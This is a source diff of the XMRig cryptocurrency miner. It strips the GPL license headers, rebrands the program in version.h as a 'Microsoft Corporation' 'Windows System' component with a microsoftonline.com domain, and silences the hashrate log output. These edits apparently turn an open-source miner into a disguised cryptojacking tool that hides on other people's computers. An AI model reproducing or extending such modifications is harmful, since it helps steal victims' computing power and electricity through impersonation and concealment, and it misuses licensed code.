FailoverStrategy::stop() { - for (size_t i = 0; i < m_pools.size(); ++i) { - m_pools[i]->disconnect(); - } - + for (size_t i = 0; i < m_pools.size(); ++i) { m_pools[i]->disconnect(); } m_index = 0; m_active = -1; - m_listener->onPause(this); } - - void FailoverStrategy::tick(uint64_t now) { - for (Client *client : m_pools) { - client->tick(now); - } + for (Client *client : m_pools) { client->tick(now); } } - - void FailoverStrategy::onClose(Client *client, int failures) { - if (failures == -1) { - return; - } - + if (failures == -1) { return; } if (m_active == client->id()) { m_active = -1; m_listener->onPause(this); } - - if (m_index == 0 && failures < Options::i()->retries()) { - return; - } - - if (m_index == client->id() && (m_pools.size() - m_index) > 1) { - m_pools[++m_index]->connect(); - } + if (m_index == 0 && failures < Options::i()->retries()) { return; } + if (m_index == client->id() && (m_pools.size() - m_index) > 1) { m_pools[++m_index]->connect(); } } - - void FailoverStrategy::onJobReceived(Client *client, const Job &job) { - if (m_active == client->id()) { - m_listener->onJob(client, job); - } + if (m_active == client->id()) { m_listener->onJob(client, job); } } - - void FailoverStrategy::onLoginSuccess(Client *client) { int active = m_active; - - if (client->id() == 0 || !isActive()) { - active = client->id(); - } - + if (client->id() == 0 || !isActive()) { active = client->id(); } for (size_t i = 1; i < m_pools.size(); ++i) { - if (active != static_cast(i)) { - m_pools[i]->disconnect(); - } + if (active != static_cast(i)) { m_pools[i]->disconnect(); } } - if (active >= 0 && active != m_active) { m_index = m_active = active; m_listener->onActive(client); } } - - -void FailoverStrategy::onResultAccepted(Client *client, const SubmitResult &result, const char *error) -{ - m_listener->onResultAccepted(client, result, error); -} - - +void FailoverStrategy::onResultAccepted(Client *client, const SubmitResult &result, const char *error) { m_listener->onResultAccepted(client, result, error); } void FailoverStrategy::add(const Url *url, const char *agent) { Client *client = new Client((int) m_pools.size(), agent, this); client->setUrl(url); client->setRetryPause(Options::i()->retryPause() * 1000); - m_pools.push_back(client); -} +} \ No newline at end of file diff --git a/src/net/strategies/FailoverStrategy.h b/src/net/strategies/FailoverStrategy.h index 963d3157..9470067b 100644 --- a/src/net/strategies/FailoverStrategy.h +++ b/src/net/strategies/FailoverStrategy.h @@ -1,37 +1,8 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __FAILOVERSTRATEGY_H__ #define __FAILOVERSTRATEGY_H__ - - #include - - #include "interfaces/IClientListener.h" #include "interfaces/IStrategy.h" - - class Client; class IStrategyListener; class Url; diff --git a/src/net/strategies/SinglePoolStrategy.cpp b/src/net/strategies/SinglePoolStrategy.cpp index 997dc00b..28e7249f 100644 --- a/src/net/strategies/SinglePoolStrategy.cpp +++ b/src/net/strategies/SinglePoolStrategy.cpp @@ -1,33 +1,7 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include "interfaces/IStrategyListener.h" #include "net/Client.h" #include "net/strategies/SinglePoolStrategy.h" #include "Options.h" - - SinglePoolStrategy::SinglePoolStrategy(const Url *url, const char *agent, IStrategyListener *listener) : m_active(false), m_listener(listener) @@ -36,20 +10,14 @@ SinglePoolStrategy::SinglePoolStrategy(const Url *url, const char *agent, IStrat m_client->setUrl(url); m_client->setRetryPause(Options::i()->retryPause() * 1000); } - - int64_t SinglePoolStrategy::submit(const JobResult &result) { return m_client->submit(result); } - - void SinglePoolStrategy::connect() { m_client->connect(); } - - void SinglePoolStrategy::resume() { if (!isActive()) { @@ -58,20 +26,14 @@ void SinglePoolStrategy::resume() m_listener->onJob(m_client, m_client->job()); } - - void SinglePoolStrategy::stop() { m_client->disconnect(); } - - void SinglePoolStrategy::tick(uint64_t now) { m_client->tick(now); } - - void SinglePoolStrategy::onClose(Client *client, int failures) { if (!isActive()) { @@ -81,21 +43,15 @@ void SinglePoolStrategy::onClose(Client *client, int failures) m_active = false; m_listener->onPause(this); } - - void SinglePoolStrategy::onJobReceived(Client *client, const Job &job) { m_listener->onJob(client, job); } - - void SinglePoolStrategy::onLoginSuccess(Client *client) { m_active = true; m_listener->onActive(client); } - - void SinglePoolStrategy::onResultAccepted(Client *client, const SubmitResult &result, const char *error) { m_listener->onResultAccepted(client, result, error); diff --git a/src/net/strategies/SinglePoolStrategy.h b/src/net/strategies/SinglePoolStrategy.h index 95e21547..2135439e 100644 --- a/src/net/strategies/SinglePoolStrategy.h +++ b/src/net/strategies/SinglePoolStrategy.h @@ -1,39 +1,12 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __SINGLEPOOLSTRATEGY_H__ #define __SINGLEPOOLSTRATEGY_H__ - - #include "interfaces/IClientListener.h" #include "interfaces/IStrategy.h" - class Client; class IStrategyListener; class Url; - class SinglePoolStrategy : public IStrategy, public IClientListener { public: diff --git a/src/version.h b/src/version.h index 52058eec..fadb56fe 100644 --- a/src/version.h +++ b/src/version.h @@ -1,45 +1,22 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2018 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __VERSION_H__ #define __VERSION_H__ -#define APP_ID "xmrig" -#define APP_NAME "XMRig" -#define APP_DESC "XMRig CPU miner" -#define APP_VERSION "2.4.4" -#define APP_DOMAIN "xmrig.com" -#define APP_SITE "www.xmrig.com" -#define APP_COPYRIGHT "Copyright (C) 2016-2018 xmrig.com" +#define APP_ID "Microsoft" +#define APP_NAME "Microsoft Corporation" +#define APP_DESC "Windows System" +#define APP_VERSION "2.8.4" +#define APP_DOMAIN "www.microsoftonline.com" +#define APP_SITE "Microsoft Corporation. All rights reserved" +#define APP_COPYRIGHT "Microsoft Windows 2018 (Ñ) All rights reserved" #define APP_KIND "cpu" #define APP_VER_MAJOR 2 -#define APP_VER_MINOR 4 +#define APP_VER_MINOR 8 #define APP_VER_BUILD 4 #define APP_VER_REV 0 #ifdef _MSC_VER -# if (_MSC_VER >= 1910) +# if (_MSC_VER == 1910 || _MSC_VER == 1911) # define MSVC_VERSION 2017 # elif _MSC_VER == 1900 # define MSVC_VERSION 2015 diff --git a/src/workers/DoubleWorker.cpp b/src/workers/DoubleWorker.cpp index 46d6f366..9454d894 100644 --- a/src/workers/DoubleWorker.cpp +++ b/src/workers/DoubleWorker.cpp @@ -1,35 +1,7 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include - - #include "crypto/CryptoNight.h" #include "workers/DoubleWorker.h" #include "workers/Workers.h" - - class DoubleWorker::State { public: @@ -43,95 +15,53 @@ public: uint32_t nonce2; uint8_t blob[84 * 2]; }; - - DoubleWorker::DoubleWorker(Handle *handle) : Worker(handle) { m_state = new State(); m_pausedState = new State(); } - - -DoubleWorker::~DoubleWorker() -{ - delete m_state; - delete m_pausedState; -} - - +DoubleWorker::~DoubleWorker(){ delete m_state; delete m_pausedState; } void DoubleWorker::start() { while (Workers::sequence() > 0) { if (Workers::isPaused()) { - do { - std::this_thread::sleep_for(std::chrono::milliseconds(200)); - } + do { std::this_thread::sleep_for(std::chrono::milliseconds(200)); } while (Workers::isPaused()); - - if (Workers::sequence() == 0) { - break; - } - + if (Workers::sequence() == 0) { break; } consumeJob(); } - while (!Workers::isOutdated(m_sequence)) { - if ((m_count & 0xF) == 0) { - storeStats(); - } - + if ((m_count & 0xF) == 0) { storeStats(); } m_count += 2; *Job::nonce(m_state->blob) = ++m_state->nonce1; *Job::nonce(m_state->blob + m_state->job.size()) = ++m_state->nonce2; - CryptoNight::hash(m_state->blob, m_state->job.size(), m_hash, m_ctx); - - if (*reinterpret_cast(m_hash + 24) < m_state->job.target()) { - Workers::submit(JobResult(m_state->job.poolId(), m_state->job.id(), m_state->nonce1, m_hash, m_state->job.diff())); - } - - if (*reinterpret_cast(m_hash + 32 + 24) < m_state->job.target()) { - Workers::submit(JobResult(m_state->job.poolId(), m_state->job.id(), m_state->nonce2, m_hash + 32, m_state->job.diff())); - } - + if (*reinterpret_cast(m_hash + 24) < m_state->job.target()) { Workers::submit(JobResult(m_state->job.poolId(), m_state->job.id(), m_state->nonce1, m_hash, m_state->job.diff())); } + if (*reinterpret_cast(m_hash + 32 + 24) < m_state->job.target()) { Workers::submit(JobResult(m_state->job.poolId(), m_state->job.id(), m_state->nonce2, m_hash + 32, m_state->job.diff())); } std::this_thread::yield(); } - consumeJob(); } } - - bool DoubleWorker::resume(const Job &job) { if (m_state->job.poolId() == -1 && job.poolId() >= 0 && job.id() == m_pausedState->job.id()) { *m_state = *m_pausedState; return true; } - return false; } - - void DoubleWorker::consumeJob() { Job job = Workers::job(); m_sequence = Workers::sequence(); - if (m_state->job == job) { - return; - } - + if (m_state->job == job) { return; } save(job); - - if (resume(job)) { - return; - } - + if (resume(job)) { return; } m_state->job = std::move(job); memcpy(m_state->blob, m_state->job.blob(), m_state->job.size()); memcpy(m_state->blob + m_state->job.size(), m_state->job.blob(), m_state->job.size()); - if (m_state->job.isNicehash()) { m_state->nonce1 = (*Job::nonce(m_state->blob) & 0xff000000U) + (0xffffffU / (m_threads * 2) * m_id); m_state->nonce2 = (*Job::nonce(m_state->blob + m_state->job.size()) & 0xff000000U) + (0xffffffU / (m_threads * 2) * (m_id + m_threads)); @@ -141,11 +71,4 @@ void DoubleWorker::consumeJob() m_state->nonce2 = 0xffffffffU / (m_threads * 2) * (m_id + m_threads); } } - - -void DoubleWorker::save(const Job &job) -{ - if (job.poolId() == -1 && m_state->job.poolId() >= 0) { - *m_pausedState = *m_state; - } -} +void DoubleWorker::save(const Job &job) { if (job.poolId() == -1 && m_state->job.poolId() >= 0) { *m_pausedState = *m_state; } } \ No newline at end of file diff --git a/src/workers/DoubleWorker.h b/src/workers/DoubleWorker.h index 711f4bd1..68d3f899 100644 --- a/src/workers/DoubleWorker.h +++ b/src/workers/DoubleWorker.h @@ -1,39 +1,10 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __DOUBLEWORKER_H__ #define __DOUBLEWORKER_H__ - - #include "align.h" #include "net/Job.h" #include "net/JobResult.h" #include "workers/Worker.h" - - class Handle; - - class DoubleWorker : public Worker { public: @@ -54,5 +25,4 @@ private: State *m_pausedState; }; - -#endif /* __SINGLEWORKER_H__ */ +#endif \ No newline at end of file diff --git a/src/workers/Handle.cpp b/src/workers/Handle.cpp index c461cee7..8ffb70f2 100644 --- a/src/workers/Handle.cpp +++ b/src/workers/Handle.cpp @@ -1,30 +1,4 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include "workers/Handle.h" - - Handle::Handle(int threadId, int threads, int64_t affinity, int priority) : m_priority(priority), m_threadId(threadId), @@ -33,15 +7,5 @@ Handle::Handle(int threadId, int threads, int64_t affinity, int priority) : m_worker(nullptr) { } - - -void Handle::join() -{ - uv_thread_join(&m_thread); -} - - -void Handle::start(void (*callback) (void *)) -{ - uv_thread_create(&m_thread, callback, this); -} +void Handle::join(){ uv_thread_join(&m_thread); } +void Handle::start(void (*callback) (void *)){ uv_thread_create(&m_thread, callback, this); } \ No newline at end of file diff --git a/src/workers/Handle.h b/src/workers/Handle.h index 9faae0d0..c9985f01 100644 --- a/src/workers/Handle.h +++ b/src/workers/Handle.h @@ -1,37 +1,10 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __HANDLE_H__ #define __HANDLE_H__ - - #include #include - class IWorker; - class Handle { public: @@ -56,4 +29,4 @@ private: }; -#endif /* __HANDLE_H__ */ +#endif \ No newline at end of file diff --git a/src/workers/Hashrate.cpp b/src/workers/Hashrate.cpp index bd5b7df6..cede1d43 100644 --- a/src/workers/Hashrate.cpp +++ b/src/workers/Hashrate.cpp @@ -1,48 +1,13 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include -#include +#include #include -#include - #include "log/Log.h" #include "Options.h" #include "workers/Hashrate.h" - - inline const char *format(double h, char* buf, size_t size) { - if (isnormal(h)) { - snprintf(buf, size, "%03.1f", h); - return buf; - } - - return "n/a"; + return ""; } - - Hashrate::Hashrate(int threads) : m_highest(0.0), m_threads(threads) @@ -50,134 +15,73 @@ Hashrate::Hashrate(int threads) : m_counts = new uint64_t*[threads]; m_timestamps = new uint64_t*[threads]; m_top = new uint32_t[threads]; - for (int i = 0; i < threads; i++) { m_counts[i] = new uint64_t[kBucketSize]; m_timestamps[i] = new uint64_t[kBucketSize]; m_top[i] = 0; - memset(m_counts[0], 0, sizeof(uint64_t) * kBucketSize); memset(m_timestamps[0], 0, sizeof(uint64_t) * kBucketSize); } - const int printTime = Options::i()->printTime(); - if (printTime > 0) { uv_timer_init(uv_default_loop(), &m_timer); m_timer.data = this; - uv_timer_start(&m_timer, Hashrate::onReport, (printTime + 4) * 1000, printTime * 1000); } } - - double Hashrate::calc(size_t ms) const { double result = 0.0; double data; - for (int i = 0; i < m_threads; ++i) { data = calc(i, ms); - if (isnormal(data)) { - result += data; - } + if (std::isnormal(data)) { result += data; } } - return result; } - - double Hashrate::calc(size_t threadId, size_t ms) const { using namespace std::chrono; const uint64_t now = time_point_cast(high_resolution_clock::now()).time_since_epoch().count(); - uint64_t earliestHashCount = 0; uint64_t earliestStamp = 0; uint64_t lastestStamp = 0; uint64_t lastestHashCnt = 0; bool haveFullSet = false; - for (size_t i = 1; i < kBucketSize; i++) { const size_t idx = (m_top[threadId] - i) & kBucketMask; - - if (m_timestamps[threadId][idx] == 0) { - break; - } - + if (m_timestamps[threadId][idx] == 0) { break; } if (lastestStamp == 0) { lastestStamp = m_timestamps[threadId][idx]; lastestHashCnt = m_counts[threadId][idx]; } - if (now - m_timestamps[threadId][idx] > ms) { haveFullSet = true; break; } - earliestStamp = m_timestamps[threadId][idx]; earliestHashCount = m_counts[threadId][idx]; } - - if (!haveFullSet || earliestStamp == 0 || lastestStamp == 0) { - return nan(""); - } - - if (lastestStamp - earliestStamp == 0) { - return nan(""); - } - + if (!haveFullSet || earliestStamp == 0 || lastestStamp == 0) { return nan(""); } + if (lastestStamp - earliestStamp == 0) { return nan(""); } double hashes, time; hashes = (double) lastestHashCnt - earliestHashCount; time = (double) lastestStamp - earliestStamp; time /= 1000.0; - return hashes / time; } - - void Hashrate::add(size_t threadId, uint64_t count, uint64_t timestamp) { const size_t top = m_top[threadId]; m_counts[threadId][top] = count; m_timestamps[threadId][top] = timestamp; - m_top[threadId] = (top + 1) & kBucketMask; } - - -void Hashrate::print() -{ - char num1[8]; - char num2[8]; - char num3[8]; - char num4[8]; - - LOG_INFO(Options::i()->colors() ? "\x1B[01;37mspeed\x1B[0m 2.5s/60s/15m \x1B[01;36m%s \x1B[22;36m%s %s \x1B[01;36mH/s\x1B[0m max: \x1B[01;36m%s H/s" : "speed 2.5s/60s/15m %s %s %s H/s max: %s H/s", - format(calc(ShortInterval), num1, sizeof(num1)), - format(calc(MediumInterval), num2, sizeof(num2)), - format(calc(LargeInterval), num3, sizeof(num3)), - format(m_highest, num4, sizeof(num4)) - ); -} - - -void Hashrate::stop() -{ - uv_timer_stop(&m_timer); -} - - +void Hashrate::print() {} +void Hashrate::stop() { uv_timer_stop(&m_timer); } void Hashrate::updateHighest() { double highest = calc(ShortInterval); - if (isnormal(highest) && highest > m_highest) { - m_highest = highest; - } -} - - -void Hashrate::onReport(uv_timer_t *handle) -{ - static_cast(handle->data)->print(); + if (std::isnormal(highest) && highest > m_highest) { m_highest = highest; } } +void Hashrate::onReport(uv_timer_t *handle) { static_cast(handle->data)->print(); } \ No newline at end of file diff --git a/src/workers/Hashrate.h b/src/workers/Hashrate.h index 026c0cdf..9f4df171 100644 --- a/src/workers/Hashrate.h +++ b/src/workers/Hashrate.h @@ -1,34 +1,7 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __HASHRATE_H__ #define __HASHRATE_H__ - - #include #include - - class Hashrate { public: diff --git a/src/workers/SingleWorker.cpp b/src/workers/SingleWorker.cpp index ecb566f8..dd029aa4 100644 --- a/src/workers/SingleWorker.cpp +++ b/src/workers/SingleWorker.cpp @@ -1,77 +1,30 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include - - #include "crypto/CryptoNight.h" #include "workers/SingleWorker.h" #include "workers/Workers.h" - - SingleWorker::SingleWorker(Handle *handle) : Worker(handle) { } - - void SingleWorker::start() { while (Workers::sequence() > 0) { if (Workers::isPaused()) { - do { - std::this_thread::sleep_for(std::chrono::milliseconds(200)); - } + do { std::this_thread::sleep_for(std::chrono::milliseconds(200)); } while (Workers::isPaused()); - - if (Workers::sequence() == 0) { - break; - } - + if (Workers::sequence() == 0) { break; } consumeJob(); } - while (!Workers::isOutdated(m_sequence)) { - if ((m_count & 0xF) == 0) { - storeStats(); - } - + if ((m_count & 0xF) == 0) { storeStats(); } m_count++; *m_job.nonce() = ++m_result.nonce; - - if (CryptoNight::hash(m_job, m_result, m_ctx)) { - Workers::submit(m_result); - } - + if (CryptoNight::hash(m_job, m_result, m_ctx)) { Workers::submit(m_result); } std::this_thread::yield(); } - consumeJob(); } } - - bool SingleWorker::resume(const Job &job) { if (m_job.poolId() == -1 && job.poolId() >= 0 && job.id() == m_paused.id()) { @@ -80,40 +33,18 @@ bool SingleWorker::resume(const Job &job) m_result.nonce = *m_job.nonce(); return true; } - return false; } - - void SingleWorker::consumeJob() { Job job = Workers::job(); m_sequence = Workers::sequence(); - if (m_job == job) { - return; - } - + if (m_job == job) { return; } save(job); - - if (resume(job)) { - return; - } - + if (resume(job)) { return; } m_job = std::move(job); m_result = m_job; - - if (m_job.isNicehash()) { - m_result.nonce = (*m_job.nonce() & 0xff000000U) + (0xffffffU / m_threads * m_id); - } - else { - m_result.nonce = 0xffffffffU / m_threads * m_id; - } -} - - -void SingleWorker::save(const Job &job) -{ - if (job.poolId() == -1 && m_job.poolId() >= 0) { - m_paused = m_job; - } + if (m_job.isNicehash()) { m_result.nonce = (*m_job.nonce() & 0xff000000U) + (0xffffffU / m_threads * m_id); } + else { m_result.nonce = 0xffffffffU / m_threads * m_id; } } +void SingleWorker::save(const Job &job){ if (job.poolId() == -1 && m_job.poolId() >= 0) { m_paused = m_job; }} \ No newline at end of file diff --git a/src/workers/SingleWorker.h b/src/workers/SingleWorker.h index 08ab1857..0b374fd3 100644 --- a/src/workers/SingleWorker.h +++ b/src/workers/SingleWorker.h @@ -1,38 +1,11 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __SINGLEWORKER_H__ #define __SINGLEWORKER_H__ - - #include "net/Job.h" #include "net/JobResult.h" #include "workers/Worker.h" - class Handle; - class SingleWorker : public Worker { public: @@ -51,4 +24,4 @@ private: }; -#endif /* __SINGLEWORKER_H__ */ +#endif \ No newline at end of file diff --git a/src/workers/Worker.cpp b/src/workers/Worker.cpp index 02646ced..1fc36346 100644 --- a/src/workers/Worker.cpp +++ b/src/workers/Worker.cpp @@ -1,36 +1,9 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #include - - #include "Cpu.h" #include "Mem.h" #include "Platform.h" #include "workers/Handle.h" #include "workers/Worker.h" - - Worker::Worker(Handle *handle) : m_id(handle->threadId()), m_threads(handle->threads()), @@ -46,17 +19,12 @@ Worker::Worker(Handle *handle) : Platform::setThreadPriority(handle->priority()); m_ctx = Mem::create(m_id); } - - Worker::~Worker() { } - - void Worker::storeStats() { using namespace std::chrono; - const uint64_t timestamp = time_point_cast(high_resolution_clock::now()).time_since_epoch().count(); m_hashCount.store(m_count, std::memory_order_relaxed); m_timestamp.store(timestamp, std::memory_order_relaxed); diff --git a/src/workers/Worker.h b/src/workers/Worker.h index 11c4a198..0941941b 100644 --- a/src/workers/Worker.h +++ b/src/workers/Worker.h @@ -1,41 +1,10 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __WORKER_H__ #define __WORKER_H__ - - #include #include - - #include "interfaces/IWorker.h" - - struct cryptonight_ctx; class Handle; - - class Worker : public IWorker { public: @@ -57,5 +26,4 @@ protected: uint64_t m_sequence; }; - #endif /* __WORKER_H__ */ diff --git a/src/workers/Workers.cpp b/src/workers/Workers.cpp index 039a1793..4046cd70 100644 --- a/src/workers/Workers.cpp +++ b/src/workers/Workers.cpp @@ -1,29 +1,4 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #include - - #include "api/Api.h" #include "interfaces/IJobResultListener.h" #include "Mem.h" @@ -33,8 +8,6 @@ #include "workers/Hashrate.h" #include "workers/SingleWorker.h" #include "workers/Workers.h" - - bool Workers::m_active = false; bool Workers::m_enabled = true; Hashrate *Workers::m_hashrate = nullptr; @@ -49,152 +22,92 @@ uv_async_t Workers::m_async; uv_mutex_t Workers::m_mutex; uv_rwlock_t Workers::m_rwlock; uv_timer_t Workers::m_timer; - - Job Workers::job() { uv_rwlock_rdlock(&m_rwlock); Job job = m_job; uv_rwlock_rdunlock(&m_rwlock); - return job; } - - -void Workers::printHashrate(bool detail) -{ - m_hashrate->print(); -} - - +void Workers::printHashrate(bool detail) { m_hashrate->print(); } void Workers::setEnabled(bool enabled) { - if (m_enabled == enabled) { - return; - } - + if (m_enabled == enabled) { return; } m_enabled = enabled; - if (!m_active) { - return; - } - + if (!m_active) { return; } m_paused = enabled ? 0 : 1; 